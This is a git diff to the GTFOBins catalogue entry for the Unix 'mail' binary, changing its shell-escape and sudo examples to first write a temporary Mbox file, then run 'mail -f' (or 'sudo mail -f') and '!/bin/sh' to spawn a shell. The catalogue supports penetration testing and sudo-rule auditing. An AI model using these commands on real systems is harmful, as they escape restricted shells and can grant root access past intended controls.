diff --git a/_gtfobins/mail.md b/_gtfobins/mail.md
index 96ada3f..c6f46d1 100644
--- a/_gtfobins/mail.md
+++ b/_gtfobins/mail.md
@@ -1,11 +1,17 @@
 ---
 functions:
   execute-interactive:
-    - code: |
-        mail -f /etc/hosts
+    - description: This creates a valid Mbox file which may be required by the binary.
+      code: |
+        TF=$(mktemp)
+        echo "From nobody@localhost $(date)" > $TF
+        mail -f $TF
         !/bin/sh
   sudo-enabled:
-    - code: |
-        sudo mail -f /etc/hosts
+    - description: This creates a valid Mbox file which may be required by the binary.
+      code: |
+        TF=$(mktemp)
+        echo "From nobody@localhost $(date)" > $TF
+        sudo mail -f $TF
         !/bin/sh
 ---